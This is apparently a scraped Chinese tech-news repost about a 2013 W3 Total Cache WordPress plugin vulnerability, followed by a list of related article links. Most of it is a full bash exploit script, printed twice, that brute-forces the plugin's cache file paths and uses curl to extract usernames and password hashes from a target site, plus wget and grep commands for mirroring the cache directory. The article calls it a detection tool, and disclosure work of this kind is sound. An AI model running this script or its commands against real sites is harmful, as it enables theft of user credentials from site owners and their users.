WordPress插件W3 Total Cache爆漏洞可获取密码数据库信息
2013-05-28 15:35
295 查看
W3 Total Cache相信玩Wordpress都知道,是一款wp上非常流程的缓存插件,它可以动态页面缓存、CSS\JS压缩、数据库缓存、CDN加速等,类似的插件还有WP Super Cache、DB Cache Reloaded等等。
日前,国外黑客Jason在网络公布了该款插件的漏洞,安装该插件之后,缓存中的数据被存储在任意用户可以访问的目录,攻击者可以利用该目录获取密码hash值和其他的一些数据库信息。
W3 Total Cache插件存储的数据在 “/wp-content/w3tc/dbcache/” ,攻击者可以在该目录浏览和下载缓存数据信息。
作者发布了一个简单的工具来识别该漏洞,下载地址
http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh
#!/bin/bash
# (C) Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.
#
# |---------------|
# | W3 Total Fail |
# | by zx2c4 |
# |---------------|
#
# For more info, see built-in help text.
# Most up to date version is available at: http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh
#
# This affects W3 Total Cache <= 0.9.2.4.
set -f
printf "\033[1m\033[31m"
echo "<===== W3 Total Fail =====>"
echo "< >"
echo "< by zx2c4 >"
echo "< >"
echo "<=========================>"
echo
echo
printf "\033[0m\033[1m"
echo "W3 Total Fail works by attempting to guess SQL queries that might"
echo "contain important password hashes. It walks through"
printf "\033[0m"
echo " http://\$wordpress/wp-content/w3tc/dbcache/..."
printf "\033[1m"
echo "until it's found the right files. If this directory has directory"
echo "index listings turned on, you might have more luck downloading the"
echo "entire folder and grepping locally for patterns, like so:"
printf "\033[0m"
echo " \$ wget -np -r http://\$wordpress/wp-content/w3tc/dbcache/"
echo " \$ grep -Ra user_pass ."
printf "\033[1m"
echo "If directory listings are not available, then this is the tool for"
echo "you, as it will try to brute force possible w3tc keys. It will try"
echo "25 user ids and 25 site ids. Adjust the script for more or less range."
echo
echo "Enjoy!"
echo
echo "- zx2c4"
echo "Dec 24, 2012"
echo
printf "\033[0m"
printf "\033[0m\033[36m"
echo "Usage: $0 HOST [URLBASE] [DBPREFIX]"
echo
echo "HOST should be the name of the host that is stored by wordpress. It"
echo "may be the actual host name of the server, or it might be something"
echo "different, depending on how wordpress is configured."
echo "Example: blog.zx2c4.com"
echo
echo "URLBASE is the base URL of the wordpress blog which are prefixed in"
echo "forming HTTP requests. If not specified it will default to http://\$HOST"
echo "Example: http://blog.zx2c4.com or https://someblahblasite.com/my_blog"
echo
echo "DBPREFIX is the wordpress prefix used for database table names. It"
echo "is often \"wp_\", which DBPREFIX defaults to if this argument is"
echo "unspecified. Some wordpress installations will use an empty prefix,"
echo "and others use a site-specific prefix. Most, however, will use the"
echo "default."
echo "Example: wp_"
echo
printf "\033[0m"
if [ $# -lt 1 ]; then
echo "Error: HOST is a required argument."
exit 1
fi
host="$1"
urlbase="${2:-http://$host}"
db_prefix="$3"
[ $# -lt 3 ] && db_prefix="wp_"
for site_id in {1..25} 0; do for user_id in {1..25}; do
query="SELECT * FROM ${db_prefix}users WHERE ID = '$user_id'"
key="w3tc_${host}_${site_id}_sql_$(echo -n "$query"|md5sum|cut -d ' ' -f 1)"
hash="$(echo -n "$key"|md5sum|cut -d ' ' -f 1)"
hash_path="${hash:0:1}/${hash:1:1}/${hash:2:1}/${hash}"
url="$urlbase/wp-content/w3tc/dbcache/$hash_path"
printf "\033[33m"
echo -n "Attempting"
printf "\033[0m"
echo " $url..."
curl -s "$url" | tail -c +5 | tr -d '\n' | sed -n 's/.*"user_login";s:[0-9]\+:"\([^"]*\)";s:[0-9]\+:"user_pass";s:[0-9]\+:"\([^"]*\)".*/\x1b[1m\x1b[32mUsername: \1\nPassword hash: \2\x1b[0m\n/p'
done; done
日前,国外黑客Jason在网络公布了该款插件的漏洞,安装该插件之后,缓存中的数据被存储在任意用户可以访问的目录,攻击者可以利用该目录获取密码hash值和其他的一些数据库信息。
W3 Total Cache插件存储的数据在 “/wp-content/w3tc/dbcache/” ,攻击者可以在该目录浏览和下载缓存数据信息。
作者发布了一个简单的工具来识别该漏洞,下载地址
http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh
#!/bin/bash
# (C) Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.
#
# |---------------|
# | W3 Total Fail |
# | by zx2c4 |
# |---------------|
#
# For more info, see built-in help text.
# Most up to date version is available at: http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh
#
# This affects W3 Total Cache <= 0.9.2.4.
set -f
printf "\033[1m\033[31m"
echo "<===== W3 Total Fail =====>"
echo "< >"
echo "< by zx2c4 >"
echo "< >"
echo "<=========================>"
echo
echo
printf "\033[0m\033[1m"
echo "W3 Total Fail works by attempting to guess SQL queries that might"
echo "contain important password hashes. It walks through"
printf "\033[0m"
echo " http://\$wordpress/wp-content/w3tc/dbcache/..."
printf "\033[1m"
echo "until it's found the right files. If this directory has directory"
echo "index listings turned on, you might have more luck downloading the"
echo "entire folder and grepping locally for patterns, like so:"
printf "\033[0m"
echo " \$ wget -np -r http://\$wordpress/wp-content/w3tc/dbcache/"
echo " \$ grep -Ra user_pass ."
printf "\033[1m"
echo "If directory listings are not available, then this is the tool for"
echo "you, as it will try to brute force possible w3tc keys. It will try"
echo "25 user ids and 25 site ids. Adjust the script for more or less range."
echo
echo "Enjoy!"
echo
echo "- zx2c4"
echo "Dec 24, 2012"
echo
printf "\033[0m"
printf "\033[0m\033[36m"
echo "Usage: $0 HOST [URLBASE] [DBPREFIX]"
echo
echo "HOST should be the name of the host that is stored by wordpress. It"
echo "may be the actual host name of the server, or it might be something"
echo "different, depending on how wordpress is configured."
echo "Example: blog.zx2c4.com"
echo
echo "URLBASE is the base URL of the wordpress blog which are prefixed in"
echo "forming HTTP requests. If not specified it will default to http://\$HOST"
echo "Example: http://blog.zx2c4.com or https://someblahblasite.com/my_blog"
echo
echo "DBPREFIX is the wordpress prefix used for database table names. It"
echo "is often \"wp_\", which DBPREFIX defaults to if this argument is"
echo "unspecified. Some wordpress installations will use an empty prefix,"
echo "and others use a site-specific prefix. Most, however, will use the"
echo "default."
echo "Example: wp_"
echo
printf "\033[0m"
if [ $# -lt 1 ]; then
echo "Error: HOST is a required argument."
exit 1
fi
host="$1"
urlbase="${2:-http://$host}"
db_prefix="$3"
[ $# -lt 3 ] && db_prefix="wp_"
for site_id in {1..25} 0; do for user_id in {1..25}; do
query="SELECT * FROM ${db_prefix}users WHERE ID = '$user_id'"
key="w3tc_${host}_${site_id}_sql_$(echo -n "$query"|md5sum|cut -d ' ' -f 1)"
hash="$(echo -n "$key"|md5sum|cut -d ' ' -f 1)"
hash_path="${hash:0:1}/${hash:1:1}/${hash:2:1}/${hash}"
url="$urlbase/wp-content/w3tc/dbcache/$hash_path"
printf "\033[33m"
echo -n "Attempting"
printf "\033[0m"
echo " $url..."
curl -s "$url" | tail -c +5 | tr -d '\n' | sed -n 's/.*"user_login";s:[0-9]\+:"\([^"]*\)";s:[0-9]\+:"user_pass";s:[0-9]\+:"\([^"]*\)".*/\x1b[1m\x1b[32mUsername: \1\nPassword hash: \2\x1b[0m\n/p'
done; done
相关文章推荐
- db2如何获取当前连接的数据库信息
- 获取数据库的物理路径及其他信息
- php ajax mysql 获取数据库信息 分页显示
- 在.NET中根据SQL Server系统表获取数据库管理信息
- VisualC++信息安全编程(5)获取windows登陆账户密码
- DatabaseMetaData 动态获取数据库表信息
- INFORMATION_SCHEMA获取数据库的信息
- 使用sql语句实现跨数据库获取信息
- 从数据库中获取浏览器书签信息(Android Browser开发)
- Spring Cloud (14) | 微服务不能从git/github/gitlab中获取数据库信息 can't load properties from git/github/gitlab
- Slatstack高级技巧(二) 使用django解析salt-api获取的信息插入数据库
- mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息
- 经由历程sql语句获取数据库的基本信息
- 获取SQL Server 2000数据库和表空间使用信息
- 使用DatabaseMetaDate获取数据库信息
- Apache James用户信息的数据库存储和密码问题
- java 获取数据库所有表基本信息和表中的所有列基本信息代码
- 通过SQL获取MSSQL的数据库相关信息
- SQL Server 数据库获取架构信息
- 在.NET中根据SQL Server系统表获取数据库管理信息